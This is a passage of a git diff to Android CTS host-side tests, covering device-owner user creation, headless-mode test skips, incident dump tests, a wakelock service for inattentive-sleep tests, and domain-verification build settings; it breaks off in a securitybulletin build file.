--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -332,6 +332,53 @@
         executeCreateAndManageUserTest("testCreateAndManageUser_RemoveRestrictionSet");
     }
 
+    @Test
+    public void testCreateAndManageUser_newUserDisclaimer() throws Exception {
+        assumeCanStartNewUser();
+
+        // TODO(b/217367529) - we need to grant INTERACT_ACROSS_USERS to the test app in the new
+        // user, so the test is retrying until it gets it, which is done in this thread - not the
+        // best approach, but given that the test cases are being migrated to the new infra,
+        // it's good enough enough...
+        int waitingTimeMs = 5_000;
+        final int maxAttempts = 10;
+        new Thread(() -> {
+            int attempt = 0;
+            boolean granted = false;
+            while (!granted && ++attempt <= maxAttempts) {
+                try {
+                    List<Integer> newUsers = getUsersCreatedByTests();
+                    if (!newUsers.isEmpty()) {
+                        for (int userId : newUsers) {
+                            CLog.i("Checking if user %d is current user", userId);
+                            int currentUser = getCurrentUser();
+                            if (currentUser != userId) continue;
+                            CLog.i("Checking if user %d has the package", userId);
+                            if (!isPackageInstalledForUser(DEVICE_OWNER_PKG, userId)) continue;
+                            grantPermission(DEVICE_OWNER_PKG, PERMISSION_INTERACT_ACROSS_USERS,
+                                    userId, "to call isNewUserDisclaimerAcknowledged() and "
+                                    + "acknowledgeNewUserDisclaimer()");
+                            granted = true;
+                        }
+                    }
+
+                    if (!granted) {
+                        CLog.i("Waiting %dms until new user is switched and package installed "
+                                + "to grant INTERACT_ACROSS_USERS", waitingTimeMs);
+                    }
+                    sleep(waitingTimeMs);
+                } catch (Exception e) {
+                    CLog.e(e);
+                    return;
+                }
+            }
+            CLog.i("%s says: Good Bye, and thanks for all the fish! BTW, granted=%b in %d attempts",
+                    Thread.currentThread(), granted, attempt);
+        }, "testCreateAndManageUser_newUserDisclaimer_Thread").start();
+
+        executeCreateAndManageUserTest("testCreateAndManageUser_newUserDisclaimer");
+    }
+
     @FlakyTest(bugId = 126955083)
     @Test
     public void testUserAddedOrRemovedBroadcasts() throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index 75af1c8..c3345b8 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -35,6 +35,7 @@
 import org.junit.Ignore;
 import org.junit.Test;
 
+import java.io.FileNotFoundException;
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.HashMap;
@@ -88,6 +89,16 @@
         super.tearDown();
     }
 
+    @Override
+    protected void installAppPermissionAppAsUser()
+            throws FileNotFoundException, DeviceNotAvailableException {
+        super.installAppPermissionAppAsUser();
+
+        if (isHeadlessSystemUserMode()) {
+            installAppPermissionAppAsUser(mDeviceOwnerUserId);
+        }
+    }
+
     @Test
     public void testLockTask_unaffiliatedUser() throws Exception {
         assumeCanCreateAdditionalUsers(1);
@@ -107,6 +118,24 @@
                 userId);
     }
 
+    @Override
+    @Test
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+            reason = "Will be migrated to new test infra")
+    public void testDelegation() throws Exception {
+        super.testDelegation();
+    }
+
+    @Override
+    @Test
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+            reason = "Will be migrated to new test infra")
+    public void testDelegationCertSelection() throws Exception {
+        super.testDelegationCertSelection();
+    }
+
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+            reason = "Will be migrated to new test infra")
     @Test
     public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
         setUpDelegatedCertInstallerAndRunTests(() ->
@@ -115,6 +144,13 @@
                         "testGenerateKeyPairWithDeviceIdAttestationExpectingSuccess", mUserId));
     }
 
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+            reason = "Will be migrated to new test infra")
+    @Override
+    public void testDelegatedCertInstaller() throws Exception {
+        super.testDelegatedCertInstaller();
+    }
+
     @FlakyTest(bugId = 141161038)
     @Override
     @Test
@@ -140,22 +176,6 @@
         executeDeviceTestClass(".AdminConfiguredNetworksTest");
     }
 
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197909577",
-            reason = "Will be migrated to new test infra")
-    public void testAccountManagement_userRestrictionAddAccount() throws Exception {
-        super.testAccountManagement_userRestrictionAddAccount();
-    }
-
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197909577",
-            reason = "Will be migrated to new test infra")
-    public void testAccountManagement_userRestrictionRemoveAccount() throws Exception {
-        super.testAccountManagement_userRestrictionRemoveAccount();
-    }
-
     @Test
     public void testSetTime() throws Exception {
         assertMetricsLogged(getDevice(), () -> {
@@ -501,52 +521,48 @@
 
     @Override
     @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
-            + "makes sense as keys generated by DO wouldn't match keys checked by PO")
-    public void testKeyManagement() throws Exception {
-        super.testKeyManagement();
-    }
-
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
-            + "makes sense as keys generated by DO wouldn't match keys checked by PO")
-    public void testGenerateKeyPairLogged() throws Exception {
-        super.testGenerateKeyPairLogged();
-    }
-
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
-            + "makes sense as keys generated by DO wouldn't match keys checked by PO")
-    public void testDelegatedCertInstallerDirectly() throws Exception {
-        super.testDelegatedCertInstallerDirectly();
-    }
-
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
-            + "makes sense as keys generated by DO wouldn't match keys checked by PO")
-    public void testSetKeyGrant() throws Exception {
-        super.testSetKeyGrant();
-    }
-
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
-            + "makes sense as keys generated by DO wouldn't match keys checked by PO")
-    public void testSetKeyPairCertificateLogged() throws Exception {
-        super.testSetKeyPairCertificateLogged();
-    }
-
-    @Override
-    @Test
     @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't have UI / credentials")
     public void testSetKeyguardDisabledFeatures() throws Exception {
         super.testSetKeyguardDisabledFeatures();
     }
 
     @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testPermissionAppUpdate() throws Exception {
+        super.testPermissionAppUpdate();
+    }
+
+    @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testPermissionMixedPolicies() throws Exception {
+        super.testPermissionMixedPolicies();
+    }
+
+    @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testPermissionPolicy() throws Exception {
+        super.testPermissionPolicy();
+    }
+
+    @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testAutoGrantMultiplePermissionsInGroup() throws Exception {
+        super.testAutoGrantMultiplePermissionsInGroup();
+    }
+
+    @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted()
+            throws Exception {
+        super.testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted();
+    }
+
+    @Override
     public void testApplicationHidden() throws Exception {
         if (isHeadlessSystemUserMode()) {
             // Must run on user 0 because the test has a broadcast receiver that listen to packages
diff --git a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
index a756004..e959abd 100644
--- a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
@@ -45,8 +45,6 @@
 
         DiskStatsProtoTest.verifyDiskStatsServiceDumpProto(dump.getDiskstats(), filterLevel, getDevice());
 
-        PackageIncidentTest.verifyPackageServiceDumpProto(dump.getPackage(), filterLevel);
-
         PowerIncidentTest.verifyPowerManagerServiceDumpProto(dump.getPower(), filterLevel);
 
         if (PrintProtoTest.supportsPrinting(getDevice())) {
diff --git a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
deleted file mode 100644
index 66137c1..0000000
--- a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
+++ /dev/null
@@ -1,124 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts;
-
-import android.service.pm.PackageProto;
-import android.service.pm.PackageProto.UserInfoProto;
-import android.service.pm.PackageServiceDumpProto;
-
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/** Test for "dumpsys package --proto" */
-public class PackageIncidentTest extends ProtoDumpTestCase {
-    // Use the test apk from the BatteryStatsIncidentTest
-    private static final String DEVICE_SIDE_TEST_APK = "CtsBatteryStatsApp.apk";
-    private static final String DEVICE_SIDE_TEST_PACKAGE = "com.android.server.cts.device.batterystats";
-
-    @Override
-    protected void tearDown() throws Exception {
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-
-        super.tearDown();
-    }
-
-    private static void assertPositive(String name, long value) {
-        if (value > 0) return;
-        fail(name + " expected to be positive, but was: " + value);
-    }
-
-    private static void assertNotNegative(String name, long value) {
-        if (value >= 0) return;
-        fail(name + " expected to be zero or positive, but was: " + value);
-    }
-
-    /** Parse the output of "dumpsys package --proto" and make sure the values are probable. */
-    public void testPackageServiceDump() throws Exception {
-        final long st = System.currentTimeMillis();
-
-        installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
-
-        // Find the package UID, version code, and version string.
-        final Matcher matcher =
-                execCommandAndFind(
-                        "dumpsys package " + DEVICE_SIDE_TEST_PACKAGE,
-                        "userId=(\\d+).*versionCode=(\\d+).*versionName=([^\\n]*)",
-                        Pattern.DOTALL);
-        final int uid = Integer.parseInt(matcher.group(1));
-        final int versionCode = Integer.parseInt(matcher.group(2));
-        final String versionString = matcher.group(3).trim();
-
-        final PackageServiceDumpProto dump =
-                getDump(PackageServiceDumpProto.parser(), "dumpsys package --proto");
-
-        PackageProto testPackage = null;
-        for (PackageProto pkg : dump.getPackagesList()) {
-            if (pkg.getName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
-                testPackage = pkg;
-                break;
-            }
-        }
-
-        assertNotNull(testPackage);
-        assertEquals(testPackage.getName(), DEVICE_SIDE_TEST_PACKAGE);
-        assertEquals(testPackage.getUid(), uid);
-        assertEquals(testPackage.getVersionCode(), versionCode);
-        assertEquals(testPackage.getVersionString(), versionString);
-        assertPositive("install_time_ms", testPackage.getInstallTimeMs());
-        assertEquals(testPackage.getInstallTimeMs(), testPackage.getUpdateTimeMs());
-        assertEquals(testPackage.getSplits(0).getName(), "base");
-        assertEquals(testPackage.getSplits(0).getRevisionCode(), 0);
-        assertNotNull(testPackage.getUserPermissionsList());
-
-        UserInfoProto testUser = testPackage.getUsers(0);
-        assertEquals(testUser.getId(), 0);
-        assertEquals(testUser.getInstallType(),
-                PackageProto.UserInfoProto.InstallType.FULL_APP_INSTALL);
-        assertFalse(testUser.getIsHidden());
-        assertFalse(testUser.getIsLaunched());
-        assertFalse(testUser.getEnabledState() == PackageProto.UserInfoProto
-                .EnabledState.COMPONENT_ENABLED_STATE_DISABLED_USER);
-
-        verifyPackageServiceDumpProto(dump, PRIVACY_NONE);
-    }
-
-    static void verifyPackageServiceDumpProto(PackageServiceDumpProto dump, final int filterLevel) throws Exception {
-        assertNotNull(dump.getVerifierPackage().getName());
-        assertNotNull(dump.getSharedLibraries(0).getName());
-        if (dump.getSharedLibraries(0).getIsJar()) {
-            assertNotNull(dump.getSharedLibraries(0).getPath());
-        } else {
-            assertNotNull(dump.getSharedLibraries(0).getApk());
-        }
-        assertNotNull(dump.getFeatures(0).getName());
-
-        PackageServiceDumpProto.SharedUserProto systemUser = null;
-        for (PackageServiceDumpProto.SharedUserProto user : dump.getSharedUsersList()) {
-            if (user.getUid() == 1000) {
-                systemUser = user;
-                break;
-            }
-        }
-        assertNotNull(systemUser);
-        assertEquals("android.uid.system", systemUser.getName());
-
-        if (filterLevel == PRIVACY_AUTO) {
-            for (String msg : dump.getMessagesList()) {
-                assertTrue(msg.isEmpty());
-            }
-        }
-    }
-}
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
index afaa9c8..6423aff 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
@@ -29,6 +29,8 @@
     // Copied from android.content.pm.PackageManager#FEATURE_INPUT_METHODS.
     public static final String FEATURE_INPUT_METHODS = "android.software.input_methods";
 
+    public static final String FEATURE_TV_OPERATOR_TIER = "com.google.android.tv.operator_tier";
+
     private static final String SETTING_DEFAULT_IME = "secure default_input_method";
 
     /** Command to get ID of current IME. */
diff --git a/hostsidetests/inputmethodservice/hostside/AndroidTest.xml b/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
index 7c8132a..6454624 100644
--- a/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
+++ b/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
@@ -18,6 +18,7 @@
 <configuration description="Config for CTS Input Method Service host test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="inputmethod" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
index 4064ff5..b70eaa5 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
@@ -24,6 +24,7 @@
 import static android.inputmethodservice.cts.common.DeviceEventConstants.RECEIVER_COMPONENT;
 
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.inputmethodservice.cts.common.ComponentNameUtils;
@@ -460,6 +461,9 @@
 
     private void testImeSwitchingWithoutWindowFocusAfterDisplayOffOn(boolean instant)
             throws Exception {
+        // Skip whole tests when DUT has com.google.android.tv.operator_tier feature.
+        // TODO(b/222687343): Remove this limitation in the future.
+        assumeFalse(hasDeviceFeature(ShellCommandUtils.FEATURE_TV_OPERATOR_TIER));
         sendTestStartEvent(
                 DeviceTestConstants.TEST_IME_SWITCHING_WITHOUT_WINDOW_FOCUS_AFTER_DISPLAY_OFF_ON);
         installPossibleInstantPackage(
diff --git a/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java b/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java
index e117d14..1e04774 100644
--- a/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java
+++ b/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java
@@ -40,15 +40,20 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class InattentiveSleepTests extends BaseHostJUnit4Test {
     private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
-    private static final String PACKAGE_NAME = "android.os.inattentivesleeptests";
     private static final String APK_NAME = "CtsInattentiveSleepTestApp.apk";
 
     private static final long TIME_BEFORE_WARNING_MS = 1200L;
 
     private static final String CMD_DUMPSYS_POWER = "dumpsys power --proto";
     private static final String WARNING_WINDOW_TOKEN_TITLE = "InattentiveSleepWarning";
-    private static final String CMD_START_APP_TEMPLATE =
-            "am start -W -a android.intent.action.MAIN -p %s -c android.intent.category.LAUNCHER";
+    private static final String ACTIVITY_KEEP_SCREEN_ON = ".KeepScreenOnActivity";
+    private static final String SERVICE_PARTIAL_WAKE_LOCK = ".PartialWakeLockService";
+    private static final String CMD_START_ACTIVITY_TEMPLATE =
+            "am start -W android.os.inattentivesleeptests/%s";
+    private static final String CMD_START_FG_SERVICE_TEMPLATE =
+            "am start-foreground-service android.os.inattentivesleeptests/%s";
+    private static final String CMD_STOP_SERVICE_TEMPLATE =
+            "am stop-service android.os.inattentivesleeptests/%s";
 
     private static final String CMD_GET_STAY_ON = "settings get global stay_on_while_plugged_in";
     private static final String CMD_PUT_STAY_ON_TEMPLATE =
@@ -81,12 +86,20 @@
         mWarningDurationConfig = getWarningDurationConfig();
         mOriginalStayOnSetting = Long.parseLong(
                 mDevice.executeShellCommand(CMD_GET_STAY_ON).trim());
+
+        installPackage(APK_NAME);
+
+        // Prevent the device from suspending while screen is off
+        startPartialWakeLockService();
+
         mDevice.executeShellCommand(CMD_DISABLE_STAY_ON);
         setInattentiveSleepTimeout(TIME_BEFORE_WARNING_MS + mWarningDurationConfig);
     }
 
     @After
     public void tearDown() throws Exception {
+        wakeUp();
+        stopPartialWakeLockService();
         mDevice.executeShellCommand(
                 String.format(CMD_PUT_STAY_ON_TEMPLATE, mOriginalStayOnSetting));
         mDevice.executeShellCommand(CMD_DELETE_TIMEOUT_SETTING);
@@ -101,9 +114,19 @@
         mDevice.executeShellCommand(CMD_KEYEVENT_WAKEUP);
     }
 
+    private void startPartialWakeLockService() throws Exception {
+        mDevice.executeShellCommand(
+                String.format(CMD_START_FG_SERVICE_TEMPLATE, SERVICE_PARTIAL_WAKE_LOCK));
+    }
+
+    private void stopPartialWakeLockService() throws Exception {
+        mDevice.executeShellCommand(
+                String.format(CMD_STOP_SERVICE_TEMPLATE, SERVICE_PARTIAL_WAKE_LOCK));
+    }
+
     private void startKeepScreenOnActivity() throws Exception {
-        installPackage(APK_NAME);
-        mDevice.executeShellCommand(String.format(CMD_START_APP_TEMPLATE, PACKAGE_NAME));
+        mDevice.executeShellCommand(
+                String.format(CMD_START_ACTIVITY_TEMPLATE, ACTIVITY_KEEP_SCREEN_ON));
     }
 
     private void setInattentiveSleepTimeout(long timeoutMs) throws Exception {
diff --git a/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml b/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml
index 3588a14..5994c7f 100755
--- a/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml
@@ -18,7 +18,11 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="android.os.inattentivesleeptests"
      android:targetSandboxVersion="2">
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
     <application>
+        <service android:name=".PartialWakeLockService"
+             android:exported="true" />
         <activity android:name=".KeepScreenOnActivity"
              android:exported="true">
             <intent-filter>
diff --git a/hostsidetests/os/test-apps/InattentiveSleepTestApp/src/android/os/inattentivesleeptests/PartialWakeLockService.java b/hostsidetests/os/test-apps/InattentiveSleepTestApp/src/android/os/inattentivesleeptests/PartialWakeLockService.java
new file mode 100644
index 0000000..d64fa84
--- /dev/null
+++ b/hostsidetests/os/test-apps/InattentiveSleepTestApp/src/android/os/inattentivesleeptests/PartialWakeLockService.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.inattentivesleeptests;
+
+import static android.os.PowerManager.PARTIAL_WAKE_LOCK;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.os.PowerManager;
+
+/** Service that holds a partial wakelock until stopped */
+public class PartialWakeLockService extends Service {
+    private static final String TAG = "PartialWakeLockService";
+    private static final String NOTIFICATION_CHANNEL_ID = "Inattentive Sleep Tests";
+
+    private PowerManager.WakeLock mWakeLock;
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onCreate() {
+        NotificationManager notificationManager = getSystemService(NotificationManager.class);
+        NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
+        notificationManager.createNotificationChannel(channel);
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        if (mWakeLock == null) {
+            PowerManager powerManager = getSystemService(PowerManager.class);
+            mWakeLock = powerManager.newWakeLock(PARTIAL_WAKE_LOCK, TAG);
+            mWakeLock.setReferenceCounted(false);
+        }
+        mWakeLock.acquire();
+
+        Notification notification = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+                .setContentTitle("Inattentive Sleep CTS Tests")
+                .setContentText("Keeping partial wakelock during the test")
+                .setSmallIcon(android.R.drawable.ic_secure)
+                .build();
+
+        startForeground(1, notification);
+
+        return Service.START_NOT_STICKY;
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWakeLock != null) {
+            mWakeLock.release();
+        }
+    }
+}
diff --git a/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp b/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
index 94d712f..80caeb5 100644
--- a/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
@@ -36,6 +36,7 @@
         "cts_defaults",
         "CtsDomainVerificationTestDeclaringAppDefaults",
     ],
+    min_sdk_version: "31",
     sdk_version: "test_current",
     aaptflags: ["--rename-manifest-package com.android.cts.packagemanager.verify.domain.declaringapp1"],
 }
@@ -47,6 +48,7 @@
         "cts_defaults",
         "CtsDomainVerificationTestDeclaringAppDefaults",
     ],
+    min_sdk_version: "31",
     sdk_version: "test_current",
     aaptflags: ["--rename-manifest-package com.android.cts.packagemanager.verify.domain.declaringapp2"],
 }
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp b/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
index 8990d84..9f95449 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
@@ -21,10 +21,11 @@
     srcs: [ "src/**/*.kt" ],
     test_suites: [
         "cts",
+        "gts",
         "device-tests",
     ],
     defaults: ["cts_defaults"],
-    sdk_version: "test_current",
+    min_sdk_version: "4",
     static_libs: [
         "androidx.test.ext.junit",
         "androidx.test.rules",
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
index fba5376..ce89e2b 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
@@ -15,8 +15,13 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.packagemanager.verify.domain.device.standalone"
-    >
+          xmlns:tools="http://schemas.android.com/tools"
+          package="com.android.cts.packagemanager.verify.domain.device.standalone"
+          >
+
+    <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="17"
+              tools:overrideLibrary="com.android.cts.packagemanager.verify.domain.constants.android"
+              />
 
     <application android:label="Device Test App" android:testOnly="true">
         <uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
index 95b86f5..e7afa10 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
@@ -15,6 +15,7 @@
   -->
 <configuration description="Config for CTS domain verification device standalone test cases">
     <option name="test-suite-tag" value="cts" />
+    <option name="test-suite-tag" value="gts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
@@ -23,6 +24,7 @@
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
+        <option name="check-min-sdk" value="true" />
         <option name="test-file-name" value="CtsDomainVerificationDeviceStandaloneTestCases.apk" />
         <option name="test-file-name" value="CtsDomainVerificationTestDeclaringApp1.apk" />
         <option name="test-file-name" value="CtsDomainVerificationTestDeclaringApp2.apk" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
index 1861010..9401443a 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
@@ -17,6 +17,9 @@
 package com.android.cts.packagemanager.verify.domain.device.standalone
 
 import android.content.pm.verify.domain.DomainVerificationUserState
+import android.os.Build
+import com.android.compatibility.common.util.ApiLevelUtil
+import com.android.compatibility.common.util.CtsDownstreamingTest
 import com.android.compatibility.common.util.SystemUtil
 import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_1_COMPONENT
 import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_2_COMPONENT
@@ -26,6 +29,8 @@
 import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_1
 import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_2
 import com.google.common.truth.Truth.assertThat
+import org.junit.Assume.assumeTrue
+import org.junit.BeforeClass
 import org.junit.Test
 import org.junit.runner.RunWith
 import org.junit.runners.Parameterized
@@ -33,6 +38,14 @@
 @RunWith(Parameterized::class)
 class DomainVerificationIntentStandaloneTests : DomainVerificationIntentTestBase(DOMAIN_1) {
 
+    companion object {
+        @JvmStatic
+        @BeforeClass
+        fun assumeAtLeastS() {
+            assumeTrue(ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S))
+        }
+    }
+
     @Test
     fun launchVerified() {
         setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
@@ -74,6 +87,7 @@
         assertResolvesTo(browsers)
     }
 
+    @CtsDownstreamingTest
     @Test
     fun launchSelectedPreservedOnUpdate() {
         setAppLinks(DECLARING_PKG_NAME_1, false, DOMAIN_1, DOMAIN_2)
@@ -162,6 +176,7 @@
         assertResolvesTo(browsers)
     }
 
+    @CtsDownstreamingTest
     @Test
     fun disableHandlingWhenVerifiedPreservedOnUpdate() {
         setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
@@ -192,6 +207,7 @@
         assertResolvesTo(browsers)
     }
 
+    @CtsDownstreamingTest
     @Test
     fun disableHandlingWhenSelectedPreservedOnUpdate() {
         setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
diff --git a/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp b/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
index 5e92d18..874d299 100644
--- a/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
@@ -20,6 +20,7 @@
     name: "CtsDomainVerificationAndroidConstantsLibrary",
     defaults: ["cts_defaults"],
     srcs: ["src/**/*.kt"],
+    min_sdk_version: "31",
     static_libs: [
         "androidx.test.ext.junit",
         "androidx.test.rules",
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index d3e6ea7..7770ebd 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -29,9 +29,10 @@
     ],
